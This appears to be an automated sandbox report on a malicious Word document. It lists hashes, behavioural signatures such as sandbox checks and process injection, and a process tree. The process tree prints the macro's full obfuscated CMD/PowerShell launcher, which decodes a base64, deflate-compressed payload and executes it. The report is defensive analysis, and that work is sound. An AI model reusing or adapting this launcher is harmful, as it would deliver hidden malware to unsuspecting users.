Analysis
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max time kernel
140s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
11/05/2024, 01:31
Behavioral task
behavioral1
Sample
320b8e4f6641a6f6fb669731e3efa62e_JaffaCakes118.doc
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
320b8e4f6641a6f6fb669731e3efa62e_JaffaCakes118.doc
Resource
win10v2004-20240226-en
General
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Target
320b8e4f6641a6f6fb669731e3efa62e_JaffaCakes118.doc
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Size
77KB
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MD5
320b8e4f6641a6f6fb669731e3efa62e
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SHA1
1264936a44182b34ea8974ebe3a5e2c38cd215b4
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SHA256
6927bae59fc2addc669073d78eadeb3878e9f0dbab6ff5fe222090da657464dc
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SHA512
b721802de2021af2c78da895f80f028a8638a0f03848e0cc6a7a251ee8317108d32b237c48faeb35f03549e1cc4a3534678f63370c13755184054c103025b1d1
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SSDEEP
768:tVzVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9uiCgiJI9Ew6B:Dzocn1kp59gxBK85fBt+a9hCU
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4156 3324 CMD.exe 89 -
Blocklisted process makes network request 4 IoCs
flow pid Process 48 2724 powershell.exe 55 2724 powershell.exe 56 2724 powershell.exe 59 2724 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3324 WINWORD.EXE 3324 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2724 powershell.exe 2724 powershell.exe 2724 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2724 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 3324 WINWORD.EXE 3324 WINWORD.EXE 3324 WINWORD.EXE 3324 WINWORD.EXE 3324 WINWORD.EXE 3324 WINWORD.EXE 3324 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3324 wrote to memory of 4156 3324 WINWORD.EXE 99 PID 3324 wrote to memory of 4156 3324 WINWORD.EXE 99 PID 4156 wrote to memory of 2724 4156 CMD.exe 102 PID 4156 wrote to memory of 2724 4156 CMD.exe 102
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\320b8e4f6641a6f6fb669731e3efa62e_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3324 -
C:\Windows\SYSTEM32\CMD.exeCMD c:\wINDOwS\syStEm32\Cmd.exe /C "SEt iPaof= ^& ( $SHeLLiD[1]+$SHEllid[13]+'x')( NEw-ObjeCt iO.compreSsIOn.DefLAteSTream([SYstEm.iO.MeMOrYstREAm] [sYStEM.CONvERT]::FRoMBAsE64striNg('PZBda8IwGIX/Si8KUZzJ0LkPQ8F94Ow+3GC64dhNmr6tsTEJaWyt4n9fK3O373l43sPx38IkUFB2dbQC7rwpOPwF0b0UoBz178IyQEvnzJCQ1DDM9RobR/Q6k7vHXvY8+sskMKvwCqytthvMFeE25b2L+JTnEsBUUU1xC8wJrfLGRQZqvuGf/eLEJdVOZAxvlDAa5xmJmWMkBU1YWvchJSvIq33/rha3/591waSEWFvMJRk8za8mk+u8P0P4w0jhWmiE2tR3u4UXeOjm8hxRfzxLAh9UMXSwNh30gzpN3kEYtoBoouuGfNnyp/LFE8prNmjvna32fr0VftClkprFYyHhyJx5jbBNQ1XoDLphLT1eaFR7MnrgzPHl/nD4BQ==') , [sYsTEM.io.comPRessIon.comPressIoNMODe]::decoMPress ) ^| FOreacH{ NEw-ObjeCt Io.sTREaMreadeR($_,[SYsTEm.teXT.ENCoDiNG]::aSCII )}^|FoReACh{ $_.rEAdtoeNd() }) && poWErShelL SET-vARiABlE ( 'F31' + 'K' ) ([tYpe](\"{2}{3}{0}{1}\" -f 'iRonMEN','T','e','Nv' ) ) ; ${ExeCUtIONContEXT}.\"INvo`kE`ComMand\".\"i`NvO`K`esCRiPt\"( ( ( vArIaBLE ('F31' + 'k' ) ).VALUe::( \"{3}{2}{4}{5}{1}{0}\" -f'E','abL','ronM','geteNVi','eNT','varI' ).Invoke(( \"{1}{0}\"-f'f','iPAO' ),( \"{0}{1}{2}\"-f 'Pr','OCeS','S' )) ) )"2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4156 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWErShelL SET-vARiABlE ( 'F31' + 'K' ) ([tYpe](\"{2}{3}{0}{1}\" -f 'iRonMEN','T','e','Nv' ) ) ; ${ExeCUtIONContEXT}.\"INvo`kE`ComMand\".\"i`NvO`K`esCRiPt\"( ( ( vArIaBLE ('F31' + 'k' ) ).VALUe::( \"{3}{2}{4}{5}{1}{0}\" -f'E','abL','ronM','geteNVi','eNT','varI' ).Invoke(( \"{1}{0}\"-f'f','iPAO' ),( \"{0}{1}{2}\"-f 'Pr','OCeS','S' )) ) )3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2724
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1328 --field-trial-handle=3060,i,1774866140584649235,8085848018931772189,262144 --variations-seed-version /prefetch:81⤵PID:2900
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1KB
MD531386c6611e507175f05b343262a8055
SHA1bf6df137f0773539334542fc99272c0766fd93a4
SHA256626ce2736bcd81688742141490e1b678c11b7ab2157e1291b1b5032568b9c448
SHA512aa21cc6e8b39d9de99b9043b32cd6184c0741b8e81f2547f825df77ff0cf7e8e80ed15915db7cf3b20aa33246be1078dfca48671a8eb9bd73079332403e37736
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82